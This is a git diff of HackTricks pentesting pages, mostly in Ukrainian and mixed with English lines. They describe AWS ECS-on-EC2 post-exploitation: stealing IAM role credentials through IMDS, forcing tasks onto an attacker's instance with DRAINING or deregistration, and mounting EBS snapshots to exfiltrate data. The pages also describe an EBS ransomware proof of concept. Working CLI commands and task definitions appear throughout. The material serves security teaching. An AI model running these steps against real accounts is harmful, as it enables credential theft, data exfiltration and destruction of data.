|
||||
|
||||
Але коли ви спробуєте фактично знову запустити EC2 instance з зашифрованим EBS томом, це просто не вдасться — інстанс перейде зі стану 'pending' назад у стан 'stopped' назавжди, оскільки приєднаний EBS том не можна розшифрувати за допомогою ключа, бо політика ключа більше цього не дозволяє.
|
||||
Але коли ви спробуєте фактично запустити EC2 інстанс з зашифрованим томом EBS, це просто не вдасться: інстанс перейде зі стану 'pending' назад у 'stopped' і залишатиметься в ньому, оскільки приєднаний том EBS не може бути розшифрований за допомогою ключа через відсутність дозволу в політиці ключа.
|
||||
|
||||
 
|
||||
|
||||
Ось python script, який використовувався. Він приймає AWS creds для облікового запису 'victim' та публічно доступний AWS ARN значення для ключа, що буде використаний для шифрування. Скрипт створює зашифровані копії всіх доступних EBS томів, приєднаних до всіх EC2 instances у цільовому AWS обліковому записі, потім зупиняє кожен EC2 instance, від'єднує оригінальні EBS томи, видаляє їх і, нарешті, видаляє всі snapshots, використані під час процесу. В результаті в цільовому обліковому записі 'victim' залишаться лише зашифровані EBS томи. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ — ВІН РУЙНІВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS ТОМИ. Ви можете відновити їх за допомогою використаного ключа KMS та повернути до початкового стану через snapshots, але хочу, аби ви знали, що в кінцевому підсумку це ransomware PoC.
|
||||
Це python скрипт, який використовувався. Він приймає AWS облікові дані для облікового запису 'victim' та загальнодоступний AWS ARN ключа, що використовуватиметься для шифрування. Скрипт створює зашифровані копії ВСІХ доступних томів EBS, приєднаних до ВСІХ EC2 інстансів у цільовому AWS обліковому записі, потім зупиняє кожний EC2 інстанс, від'єднує оригінальні томи EBS, видаляє їх і нарешті видаляє всі snapshots, використані під час процесу. Це залишає у цільовому обліковому записі 'victim' лише зашифровані томи EBS. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ — ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ ВСІ ОРИГІНАЛЬНІ ТОМИ EBS. Ви можете відновити їх, використавши застосований KMS key і відновивши зі snapshots, але хочу попередити, що в кінці кінців це ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -584,6 +621,8 @@ main()
|
||||
```
|
||||
## Посилання
|
||||
|
||||
- [Latacora - ECS on EC2: Усунення прогалин у захисті IMDS](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – Як передавати файли в AWS за допомогою SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+26
-22
@@ -12,33 +12,33 @@ For more information check:
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
В ECS до задачі може бути призначена **IAM role**, яка працює всередині контейнера. **Якщо** задача запускається всередині **EC2** instance, до **EC2 instance** буде прикріплена **інша IAM** роль.\
|
||||
Це означає, що якщо вам вдасться **скомпрометувати** ECS instance, ви потенційно можете **отримати IAM роль, пов'язану з ECR та EC2 instance**. Для додаткової інформації про те, як отримати ці облікові дані, дивіться:
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що якщо EC2 instance примусово використовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **response of the PUT request** матиме **hop limit of 1**, через що буде неможливо отримати доступ до EC2 metadata з контейнера, що працює всередині EC2 instance.
|
||||
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
|
||||
|
||||
### Privesc на ноду, щоб вкрасти creds & secrets інших контейнерів
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Крім того, EC2 використовує docker для запуску ECS tasks, тому якщо ви зможете втекти на ноду або **отримати доступ до docker socket**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **зайти в них** та **вкрасти прикріплені до них IAM roles**.
|
||||
Крім того, EC2 використовує docker для запуску ECS tasks, тож якщо ви зможете втекти на node або отримати доступ до docker socket, ви можете перевірити, які інші контейнери запускаються, і навіть потрапити всередину них та вкрасти прикріплені до них IAM roles.
|
||||
|
||||
#### Запуск контейнерів на поточному хості
|
||||
#### Making containers run in current host
|
||||
|
||||
Крім того, **EC2 instance role** зазвичай має достатньо **permissions**, щоб **оновити container instance state** EC2 інстансів, які використовуються як вузли в кластері. Атакуючий може змінити **state of an instance to DRAINING**, після чого ECS **видалить усі tasks з нього**, а ті, що виконуються як **REPLICA**, будуть **запущені на іншому instance**, потенційно на **attackers instance**, щоб він міг **вкрасти їх IAM roles** та потенційно конфіденційну інформацію всередині контейнера.
|
||||
Крім того, EC2 instance role зазвичай має достатньо permissions, щоб оновити container instance state EC2 інстансів, що використовуються як ноди в кластері. Зловмисник може змінити state інстансу на DRAINING — тоді ECS видалить усі tasks з нього, а ті, що запускалися як REPLICA, будуть запущені в іншому інстансі, потенційно на інстансі атакуючого, щоб він міг вкрасти їхні IAM roles та можливу конфіденційну інформацію зсередини контейнера.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Ту саму техніку можна застосувати, **скасувавши реєстрацію EC2 інстансу з кластера**. Це потенційно менш приховано, але це **змусить tasks запускатися на інших інстансах:**
|
||||
Ту саму техніку можна виконати, **відреєструвавши EC2 instance з кластера**. Це може бути менш приховано, але це **змусить tasks виконуватися на інших instances:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Остання техніка, щоб примусити повторне виконання tasks, — повідомити ECS, що **task або container було зупинено**. Існують 3 потенційні API для цього:
|
||||
Остаточна техніка, щоб примусити повторне виконання tasks, — повідомити ECS, що **task або container було зупинено**. Існує 3 потенційні APIs для цього:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,9 +50,9 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Steal sensitive info from ECR containers
|
||||
### Вкрасти конфіденційні дані з ECR контейнерів
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **завантажувати образи** (ви можете шукати в них конфіденційну інформацію).
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **завантажувати образи** (you could search for sensitive info in them).
|
||||
|
||||
|
||||
|
||||
@@ -62,17 +62,17 @@ The EC2 instance will probably also have the permission `ecr:GetAuthorizationTok
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Зловживайте нативною ECS EBS інтеграцією (2024+), щоб змонтувати вміст існуючого EBS snapshot безпосередньо в новому ECS task/service і прочитати його дані зсередини контейнера.
|
||||
Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.
|
||||
|
||||
- Потрібно (мінімум):
|
||||
- Потребує (мінімум):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Один із: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole на:
|
||||
- ECS infrastructure role, що використовується для томів (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task ролі, зазначені в task definition
|
||||
- Якщо snapshot зашифровано CMK: KMS дозволи для інфраструктурної ролі (вказана вище AWS managed policy включає необхідні KMS права для AWS managed keys).
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- Інфраструктурна роль ECS, що використовується для томів (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- Якщо снапшот зашифрований з CMK: потрібні дозволи KMS для інфраструктурної ролі (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
|
||||
- Impact: Читання довільного вмісту диска зі snapshot (наприклад, файли баз даних) всередині контейнера та ексфільтрація через мережу/логи.
|
||||
- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.
|
||||
|
||||
Steps (Fargate example):
|
||||
|
||||
@@ -83,7 +83,7 @@ aws iam create-role --role-name ecsInfrastructureRole \
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Зареєструйте task definition з volume, позначеним `configuredAtLaunch`, і змонтуйте його в container. Приклад (prints the secret then sleeps):
|
||||
2) Зареєструйте task definition з volume, позначеним як `configuredAtLaunch`, і змонтуйте його у container. Приклад (виводить secret, а потім засинає):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -103,7 +103,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Створіть або оновіть сервіс, передавши EBS snapshot через `volumeConfigurations.managedEBSVolume` (потребує iam:PassRole для ролі інфраструктури). Приклад:
|
||||
3) Створіть або оновіть сервіс, передавши знімок EBS через `volumeConfigurations.managedEBSVolume` (вимагає iam:PassRole для ролі інфраструктури). Приклад:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -117,7 +117,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Коли завдання запускається, контейнер може прочитати вміст snapshot за налаштованим шляхом монтування (наприклад, `/loot`). Exfiltrate через мережу/логи завдання.
|
||||
4) Коли task запускається, container може прочитати вміст snapshot у вказаному mount path (наприклад, `/loot`). Exfiltrate через task’s network/logs.
|
||||
|
||||
Очищення:
|
||||
```bash
|
||||
@@ -125,4 +125,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## Посилання
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user